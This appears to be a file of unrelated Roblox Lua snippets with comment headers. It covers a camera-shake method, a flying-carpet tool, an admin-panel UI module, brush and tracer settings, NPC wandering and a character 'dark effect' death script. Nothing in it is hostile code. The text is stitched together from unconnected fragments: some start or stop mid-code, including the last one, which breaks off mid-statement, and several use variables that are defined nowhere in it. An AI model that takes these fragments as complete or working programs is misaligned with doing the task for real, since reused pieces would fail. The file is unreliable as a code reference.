--_____________________________________________________________________________________________________________________--
--_____________________________________________________________________________________________________________________--
--_____________________________________________________________________________________________________________________--
-- --
___________ .__ .__
\__ ___/______ ____ | | | | ____
| | \_ __ \_/ __ \| | | | / _ \
| | | | \/\ ___/| |_| |_( <_> )
|____| |__| \___ >____/____/\____/
\/
___________ .__ .___
\_ _____/_____ |__|__ ___ | | ____ ____
| __)_\____ \| \ \/ / | |/ \_/ ___\
| \ |_> > |> < | | | \ \___
/_______ / __/|__/__/\_ \ |___|___| /\___ > /\
\/|__| \/ \/ \/ \/
--------------------------------------------------------
Epix Incorporated. Not Everything is so Black and White.
--------------------------------------------------------
______ ______ ______ __ ______ ______ ______ ______ __ ______
/\ ___\/\ ___\/\ ___\/\ \ /\ ___\/\ == \/\ __ \/\__ _/\ \/\ ___\
\ \___ \ \ \___\ \ __\\ \ \___\ \ __\\ \ __<\ \ __ \/_/\ \\ \ \ \___ \
\/\_____\ \_____\ \_____\ \_____\ \_____\ \_\ \_\ \_\ \_\ \ \_\\ \_\/\_____\
\/_____/\/_____/\/_____/\/_____/\/_____/\/_/ /_/\/_/\/_/ \/_/ \/_/\/_____/
--_____________________________________________________________________________________________________________________--
--_____________________________________________________________________________________________________________________--
--_____________________________________________________________________________________________________________________--
--_____________________________________________________________________________________________________________________--
-- -- ]]
|
--[=[
Schedules a sustained shake to stop. This works by setting the
`Sustain` field to `false` and letting the shake effect fade out
based on the `FadeOutTime` field.
]=] |
function Shake:StopSustain()
local now = self.TimeFunction()
self.Sustain = false
self.SustainTime = (now - self._startTime) - self.FadeInTime
end
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RemovalMonitor = script:WaitForChild("RemovalMonitor")
CarpetPieces = {
{MeshId = 223079795, Angle = 160},
{MeshId = 223079835, Angle = 100},
{MeshId = 223079888, Angle = 100},
{MeshId = 223079981, Angle = 160},
}
CarpetSize = Vector3.new(3, 0.5, 6.5)
BaseUrl = "http://www.roblox.com/asset/?id="
Rate = (1 / 10)
BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart
RainbowColors = {
Vector3.new(1, 0, 0),
Vector3.new(1, 0.5, 0),
Vector3.new(1, 1, 0),
Vector3.new(0, 1, 0),
Vector3.new(0, 1, 1),
Vector3.new(0, 0, 1),
Vector3.new(0.5, 0, 1)
}
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
SitR15 = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
Grips = {
Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}
Flying = false
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true
function Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function TransformModel(Objects, Center, NewCFrame, Recurse)
local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
for i, v in pairs(Objects) do
if v:IsA("BasePart") then
v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
end
if Recurse then
TransformModel(v:GetChildren(), Center, NewCFrame, true)
end
end
end
function Weld(Parent, PrimaryPart)
local Parts = {}
local Welds = {}
local function WeldModel(Parent, PrimaryPart)
for i, v in pairs(Parent:GetChildren()) do
if v:IsA("BasePart") then
if v ~= PrimaryPart then
local Weld = Instance.new("Weld")
Weld.Name = "Weld"
Weld.Part0 = PrimaryPart
Weld.Part1 = v
Weld.C0 = PrimaryPart.CFrame:inverse()
Weld.C1 = v.CFrame:inverse()
Weld.Parent = PrimaryPart
table.insert(Welds, Weld)
end
table.insert(Parts, v)
end
WeldModel(v, PrimaryPart)
end
end
WeldModel(Parent, PrimaryPart)
return Parts, Welds
end
function CleanUp()
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
v:Destroy()
end
end
end
function CreateRainbow(Length)
local RainbowModel = Instance.new("Model")
RainbowModel.Name = "RainbowPart"
for i, v in pairs(RainbowColors) do
local Part = ColorPart:Clone()
Part.Name = "Part"
Part.Size = Vector3.new(0.5, 0.5, Length)
Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
Part.Mesh.Scale = (Part.Size * 2)
Part.Mesh.VertexColor = v
Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
Part.Parent = RainbowModel
end
local RainbowBoundingBox = BasePart:Clone()
RainbowBoundingBox.Name = "BoundingBox"
RainbowBoundingBox.Transparency = 1
RainbowBoundingBox.Size = RainbowModel:GetModelSize()
RainbowBoundingBox.Anchored = true
RainbowBoundingBox.CanCollide = false
RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
RainbowBoundingBox.Parent = RainbowModel
return RainbowModel
end
function GetRainbowModel()
local ModelName = (Player.Name .. "'s Rainbow")
local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
if not Model then
Model = Instance.new("Model")
Model.Name = ModelName
local RemovalMonitorClone = RemovalMonitor:Clone()
RemovalMonitorClone.Disabled = false
RemovalMonitorClone.Parent = Model
end
return Model
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Flying = not Flying
if Flying then
Handle.Transparency = 1
CleanUp()
local CarpetParts = {}
for i, v in pairs(CarpetPieces) do
local CarpetPart = BasePart:Clone()
CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.MeshId = (BaseUrl .. v.MeshId)
Mesh.TextureId = (BaseUrl .. "223080038")
Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
Mesh.VertexColor = Vector3.new(1, 1, 1)
Mesh.Offset = Vector3.new(0, 0, 0)
Mesh.Parent = CarpetPart
local Weld = Instance.new("Weld")
Weld.Part0 = Handle
Weld.Part1 = CarpetPart
local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
Weld.C1 = CFrame.new(0, XOffset, YOffset)
Weld.Parent = CarpetPart
table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
CarpetPart.Parent = Tool
end
Spawn(function()
local animname = "Sit"
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
animname = animname.."R15"
end
InvokeClient("PlayAnimation", Animations[animname])
Tool.Grip = Grips.Flying
end)
FlightSpin = Instance.new("BodyGyro")
FlightSpin.Name = "FlightSpin"
FlightSpin.P = 1000000
FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)
FlightSpin.cframe = Torso.CFrame
FlightPower = Instance.new("BodyVelocity")
FlightPower.Name = "FlightPower"
FlightPower.velocity = Vector3.new(0, 0, 0)
FlightPower.P = 1000000
FlightPower.maxForce = Vector3.new(FlightPower.P, FlightPower.P, FlightPower.P)
FlightPower.P = 10000
FlightHold = Instance.new("BodyPosition")
FlightHold.Name = "FlightHold"
FlightHold.P = 100000
FlightHold.maxForce = Vector3.new(0, 0, 0)
FlightHold.position = Torso.Position
FlightSpin.Parent = Torso
FlightPower.Parent = Torso
FlightHold.Parent = Torso
Spawn(function()
local LastPlace = nil
while Flying and ToolEquipped and CheckIfAlive() do
local CurrentPlace = Handle.Position
local Velocity = Torso.Velocity
Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude
if LastPlace and Velocity > 10 then
Spawn(function()
local Model = GetRainbowModel()
local Distance = (LastPlace - CurrentPlace).magnitude
local Length = Distance + 3.5
local RainbowModel = CreateRainbow(Length)
--Thanks so much to ArceusInator for helping solve this part!
local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)
TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
Debris:AddItem(RainbowModel, 1)
RainbowModel.Parent = Model
if Model and not Model.Parent then
Model.Parent = game:GetService("Workspace")
end
LastPlace = CurrentPlace
end)
elseif not LastPlace then
LastPlace = CurrentPlace
end
wait(Rate)
end
end)
elseif not Flying then
Torso.Velocity = Vector3.new(0, 0, 0)
Torso.RotVelocity = Vector3.new(0, 0, 0)
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
Spawn(function()
Tool.Grip = Grips.Normal
local animname = "Sit"
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
animname = animname.."R15"
end
InvokeClient("StopAnimation", Animations[animname])
end)
end
wait(2)
Tool.Enabled = true
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
Tool.Grip = Grips.Normal
ToolEquipped = true
end
function Unequipped()
Flying = false
for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
if v and v.Parent then
v:Destroy()
end
end
CleanUp()
Handle.Transparency = 0
ToolEquipped = false
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
CleanUp()
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--// Processing |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local UIFolder = client.UIFolder
local script = script
local service = Vargs.Service
local client = Vargs.Client
local GetEnv = env.GetEnv
local Anti, Core, Functions, Process, Remote, UI, Variables, Deps
local CloneTable, TrackTask
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Deps = client.Deps;
CloneTable = service.CloneTable;
TrackTask = service.TrackTask;
UI.Init = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
UI.DefaultTheme = Remote.Get("Setting","DefaultTheme");
UI.RunLast = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.UI = {
Init = Init;
RunLast = RunLast;
GetHolder = function()
if UI.Holder and UI.Holder.Parent == service.PlayerGui then
return UI.Holder
else
pcall(function()if UI.Holder then UI.Holder:Destroy()end end)
local new = service.New("ScreenGui", {
Name = Functions.GetRandom(),
Parent = service.PlayerGui,
});
UI.Holder = new
return UI.Holder
end
end;
Prepare = function(gui)
if true then return gui end --// Disabled
local gTable = UI.Get(gui,false,true)
if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then
local new = Instance.new("TextLabel")
new.BackgroundTransparency = 1
new.Size = UDim2.new(1,0,1,0)
new.Name = gui.Name
new.Active = true
new.Text = ""
for ind,child in gui:GetChildren() do
child.Parent = new
end
if gTable then
gTable:Register(new)
end
gui:Destroy()
return new
else
return gui
end
end;
LoadModule = function(module, data, env)
data = data or {}
local ran, func = pcall(require, module)
local newEnv = GetEnv(env, {
script = module,
client = CloneTable(client),
service = CloneTable(service)
})
if newEnv.service.Threads then
newEnv.service.Threads = CloneTable(service.Threads)
end
for i,v in newEnv.client do
if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then
newEnv.client[i] = CloneTable(v)
end
end
if ran then
--// Temporarily disabled NoEnv; it seems to be causing some issues(?)
--// ~ Expertcoderz
--[[if (data.isModifier and not data.modNoEnv) or (not data.isModifier and data.isCode and not data.NoEnv) then
setfenv(func, env)
end]]
local rets = {
TrackTask(`UI: {module:GetFullName()}`,
--func,
setfenv(func, newEnv),
data,
newEnv
)
}
if rets[1] then
return unpack(rets, 2)
else
warn("Error while running module", module.Name, rets[2])
client.LogError(`Error loading {module.Name} - {rets[2]}`)
end
else
warn("Error while loading module", module.Name, tostring(func))
end
end;
GetNew = function(theme, name)
local foundConfigs = {}
local endConfig = {}
local endConfValues = {}
local confFolder = Instance.new("Folder")
local debounce = false
local function func(theme, name, depth)
local depth = (depth or 11) - 1
local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
if folder then
local baseValue = folder:FindFirstChild("Base_Theme")
local baseTheme = baseValue and baseValue.Value
local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name)
if foundGUI then
local config = foundGUI:FindFirstChild("Config")
table.insert(foundConfigs, {
Theme = theme;
Folder = folder;
Name = name;
Found = foundGUI;
Config = config;
isModule = foundGUI:IsA("ModuleScript");
})
if config then
baseValue = config:FindFirstChild("BaseTheme") or baseValue
baseTheme = baseValue and baseValue.Value
end
end
if baseTheme and depth > 0 then
if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then
func(UI.DefaultTheme, name, depth)
else
debounce = true
func(baseTheme, name, depth)
end
end
end
end
--// Find GUI and all default versions under it
func(theme, name)
confFolder.Name = "Config"
--// Create the final config for the found GUI.
if #foundConfigs > 0 then
--// Combine all configs found in order to build full config (in order of closest from target gui to furthest)
for i,v in foundConfigs do
if v.Config then
for k,m in v.Config:GetChildren() do
if not endConfig[m.Name] then
if string.sub(m.Name, 1, 5) == "NoEnv" then
endConfig["Code"] = m
end
endConfig[m.Name] = m
end
end
end
end
--// Load all config values into the new Config folder
for i,v in endConfig do
v:Clone().Parent = confFolder;
end
--// Find next module based theme GUI if code not found or first in sequence is module (in theme)
if foundConfigs[1].isModule then
return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder
elseif not endConfig.Code then
warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236")
end
--// Get rid of an old Config folder and throw the new combination Config folder in
local new = foundConfigs[1].Found:Clone()
local oldFolder = new:FindFirstChild'Config'
if oldFolder then oldFolder:Destroy() end
confFolder.Parent = new
return new, foundConfigs[1].Folder, confFolder
end
end;
Make = function(name, data, themeData)
data = data or {}
themeData = themeData or Variables.LastServerTheme or {Desktop = "Default"; Mobile = "Mobilius"}
local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop
local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
--// Check for any childs with 'NoEnv' and trigger NoEnv
--// Enforce NoEnv to ensure theme is using it.
if not data.NoEnv and folder:FindFirstChild("NoEnv") then
data.NoEnv = true
data.modNoEnv = true
end
--// folder2
local newGui, _, foundConf = UI.GetNew(theme, name)
if newGui then
local isModule = newGui:IsA("ModuleScript")
local conf = newGui:FindFirstChild("Config")
local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier"))
if mod and not data.modNoEnv then
data.modNoEnv = string.sub(mod.Name, 1, 5) == "NoEnv"
end
if isModule then
return UI.LoadModule(newGui, data, {
script = newGui;
})
elseif conf and foundConf and foundConf ~= true then
local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code")
if not data.NoEnv and code then
data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv"
end
local mult = foundConf.AllowMultiple
--local keep = foundConf.CanKeepAlive
local allowMult = mult and mult.Value or true
local found, num = UI.Get(name)
if not found or ((num and num>0) and allowMult) then
local gTable,gIndex = UI.Register(newGui)
if folder:IsA("ModuleScript") then
local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv" or folder:FindFirstChild("NoEnv")
local newEnv = GetEnv{{
script = folder,
gTable = gTable
}}
local ran, func = pcall(require, folder)
local rets = {
--// NoEnv temporarily disabled ~ Expertcoderz
--[[if folderNoEnv then pcall(func, newGui, gTable, data, newEnv) else]] pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv)
}
local ran, ret = rets[1], rets[2]
if ret ~= nil then
if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then
code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code
if not data.NoEnv and code then
data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv"
end
else
return ret
end
end
end
newGui.Parent = Variables.GUIHolder
newGui.Name = Functions.GetRandom()
data.gIndex = gIndex
data.gTable = gTable
code.Parent = conf
code.Name = name
if mod then
UI.LoadModule(mod, data, {
script = mod;
gTable = gTable;
Data = data;
GUI = newGui;
isModifier = true;
})
end
return UI.LoadModule(code, data, {
script = code;
gTable = gTable;
Data = data;
GUI = newGui;
Theme = theme;
ThemeFolder = folder;
isCode = true;
})
end
end
else
print("GUI", name, "not found")
end
end;
Get = function(obj,ignore,returnOne)
local found = {}
local num = 0
if obj then
for ind,g in client.GUIs do
if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then
if type(obj) == "string" then
if g.Name == obj then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "userdata" then
if service.RawEqual(g.Object, obj) then
found[ind] = g
num = num+1
if returnOne then return g end
end
elseif type(obj) == "boolean" and obj == true then
found[ind] = g
num = num+1
if returnOne then return g end
end
end
end
end
if num<1 then
return false
else
return found,num
end
end;
Remove = function(name, ignore)
if name == "Chat" and client.Handlers.RemoveCustomChat then
client.Handlers.RemoveCustomChat()
else
local gui = UI.Get(name, ignore)
if gui then
for i,v in gui do
v.Destroy()
end
end
end
end;
Register = function(gui, data)
local gIndex = Functions.GetRandom()
local gTable;gTable = {
Object = gui,
Config = gui:FindFirstChild'Config';
Name = gui.Name,
Events = {},
Class = gui.ClassName,
Index = gIndex,
Active = true,
Ready = function()
if gTable.Config then gTable.Config.Parent = nil end
local ran,err = pcall(function()
local obj = gTable.Object;
if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then
if obj.DisplayOrder == 0 then
obj.DisplayOrder = 90000
end
obj.Enabled = true
obj.Parent = service.PlayerGui
else
obj.Parent = UI.GetHolder()
end
end);
if ran then
gTable.Active = true
else
warn("Something happened while trying to set the parent of", gTable.Name)
warn(err)
gTable:Destroy()
end
end,
BindEvent = function(event, func)
local signal = event:Connect(func)
local origDisc = signal.Disconnect
local Events = gTable.Events
local disc = function()
origDisc(signal)
for i,v in Events do
if v.Signal == signal then
table.remove(Events, i)
end
end
end
table.insert(Events, {
Signal = signal;
Remove = disc
})
return {
Disconnect = disc;
disconnect = disc;
wait = service.CheckProperty(signal, "wait") and signal.wait
}, signal
end,
ClearEvents = function()
for i,v in gTable.Events do
v:Remove()
end
end,
Destroy = function()
pcall(function()
if gTable.CustomDestroy then
gTable.CustomDestroy()
else
service.UnWrap(gTable.Object):Destroy()
end
end)
gTable.Destroyed = true
gTable.Active = false
client.GUIs[gIndex] = nil
gTable.ClearEvents()
end,
UnRegister = function()
client.GUIs[gIndex] = nil
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
end,
Register = function(tab,new)
if not new then new = tab end
new:SetSpecial("Destroy", gTable.Destroy)
gTable.Object = service.Wrap(new)
gTable.Class = new.ClassName
if gTable.AncestryEvent then
gTable.AncestryEvent:Disconnect()
end
gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)
if client.GUIs[gIndex] and rawequal(c, gTable.Object) then
if gTable.Class == "TextLabel" and parent == service.PlayerGui then
task.wait()
gTable.Object.Parent = UI.GetHolder()
elseif parent == nil and not gTable.KeepAlive then
gTable:Destroy()
elseif parent ~= nil then
gTable.Active = true
client.GUIs[gIndex] = gTable
end
end
end)
client.GUIs[gIndex] = gTable
end
}
if data then
for i,v in data do
gTable[i] = v
end
end
gui.Name = Functions.GetRandom()
gTable:Register(gui)
return gTable,gIndex
end
}
client.UI.RegisterGui = client.UI.Register
client.UI.GetGui = client.UI.Get
client.UI.PrepareGui = client.UI.Prepare
client.UI.MakeGui = client.UI.Make
end
|
--!strict |
local events = require(script.events)
local install = require(script.install)
local DevModuleInstaller: { [string]: any } = {
verboseLogging = false,
pruneDevelopmentFiles = true,
started = events.started.Event,
finished = events.finished.Event,
}
function DevModuleInstaller.install(devModule: Folder)
return install(devModule, {
verboseLogging = DevModuleInstaller.verboseLogging,
pruneDevelopmentFiles = DevModuleInstaller.pruneDevelopmentFiles,
})
end
return DevModuleInstaller
|
--Change the color of the brush when the text box is used |
brushSettings.ColorBox.FocusLost:Connect(function(entered)
if entered then
local color = brushSettings.ColorBox.Text
color = string.gsub(color, " ", "")
color = string.split(color, ",")
if tonumber(color[1]) and tonumber(color[2]) and tonumber(color[3]) then
currentColor = Color3.fromRGB(color[1], color[2], color[3])
end
brushSettings.ColorBox.Text = math.floor(currentColor.R * 255 + 0.5) .. ", " .. math.floor(currentColor.G * 255 + 0.5) .. ", " .. math.floor(currentColor.B * 255 + 0.5)
brushSettings.PaintImage.ImageColor3 = currentColor
end
end)
|
--// Tracer Vars |
TracerTransparency = 0;
TracerLightEmission = 1;
TracerTextureLength = 0.1;
TracerLifetime = 0.0005;
TracerFaceCamera = true;
TracerColor = BrickColor.new('White');
|
-- This script is what allows the Shop by UltraWorks to increment player's
-- statistics according to the settings from the editor plugin.
-- If you change something, almost 100% this script will break. | |
--Audio |
local soundBank = game.ServerStorage.Sounds.NPC.Banto:GetChildren()
banto.Health.Changed:connect(function()
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.Parent = banto.PrimaryPart
hitSound.PlayOnRemove = true
wait()
hitSound:Destroy()
end)
while true do
bp.Parent = banto.PrimaryPart
local goal
repeat
local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), banto.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0))
local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto)
if part == workspace.Terrain and mat ~= Enum.Material.Water then
goal = pos+Vector3.new(0,2.25,0)
end
wait()
until goal
--Set new goal for banto to MoveTo :)
walk:Play()
local pos = banto.PrimaryPart.Position
local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z))
bg.CFrame = cf
bp.Position = (cf*CFrame.new(0,0,-100)).p
local start = tick()
repeat task.wait(.5)
local ray = Ray.new(banto.PrimaryPart.Position, Vector3.new(0,-140,0))
until (banto.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >10
walk:Stop()
bp.Parent = nil
wait(math.random(3,8))
end
|
--Rescripted by Luckymaxer |
Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Player = Players:GetPlayerFromCharacter(Character)
Creator = script:FindFirstChild("Creator")
BaseColor = BrickColor.new("Really black")
DarkProperties = {
All = {
--BrickColor = BaseColor,
Material = Enum.Material.Plastic,
TextureId = "",
--Texture = "",
VertexColor = Vector3.new(BaseColor.Color.r, BaseColor.Color.g, BaseColor.Color.b),
BaseTextureId = 0,
OverlayTextureId = 0,
ShirtTemplate = "",
PantsTemplate = "",
SparkleColor = BaseColor.Color,
Color = BaseColor.Color,
SecondaryColor = BaseColor.Color,
},
Class = {
ParticleEmitter = {
Color = ColorSequence.new(BaseColor.Color, BaseColor.Color),
},
Sparkles = {
Color = BaseColor.Color,
SparkleColor = BaseColor.Color,
},
Decal = {
Texture = "",
},
}
}
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function GetAllInstances(Parent)
local Instances = {}
local function GetInstances(Parent)
for i, v in pairs(Parent:GetChildren()) do
table.insert(Instances, v)
GetInstances(v)
end
end
GetInstances(Parent)
return Instances
end
function DarkEffect()
UntagHumanoid(Humanoid)
if Creator and Creator.Value and Creator.Value:IsA("Player") then
TagHumanoid(Humanoid, Creator.Value)
end
Humanoid.Health = 0
Character:BreakJoints()
local EffectedInstances = GetAllInstances(Character)
local OriginalInstances = {}
for i, v in pairs(EffectedInstances) do
local Instance = {Object = v, Properties = {}}
local PropertiesAltered = {}
if v:IsA("Hat") or v:IsA("Tool") then
for ii, vv in pairs(v:GetChildren()) do
if vv:IsA("BasePart") then
vv.Parent = v.Parent
end
end
v:Destroy()
elseif v:IsA("BasePart") then
v.CanCollide = true
v.Anchored = true
Debris:AddItem(v, 10)
end
if v:IsA("BasePart") and v.Name == "HumanoidRootPart" then
elseif v:IsA("Decal") and v.Name == "face" then
elseif v:IsA("Clothing") then
v:Destroy()
else
for ii, vv in pairs(DarkProperties.All) do
pcall(function()
Instance.Properties[ii] = v[ii]
PropertiesAltered[ii] = true
v[ii] = vv
end)
end
for ii, vv in pairs(DarkProperties.Class) do
if v:IsA(ii) then
for iii, vvv in pairs(vv) do
--if not PropertiesAltered[iii] then
pcall(function()
Instance.Properties[iii] = v[iii]
v[iii] = vvv
end)
--end
end
end
end
end
table.insert(OriginalInstances, Instance)
end
wait(0.25)
for i, v in pairs(EffectedInstances) do
if v:IsA("BasePart") then
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = (Vector3.new((math.random() - 0.5), 0, (math.random() - 0.5)).Unit * 80)
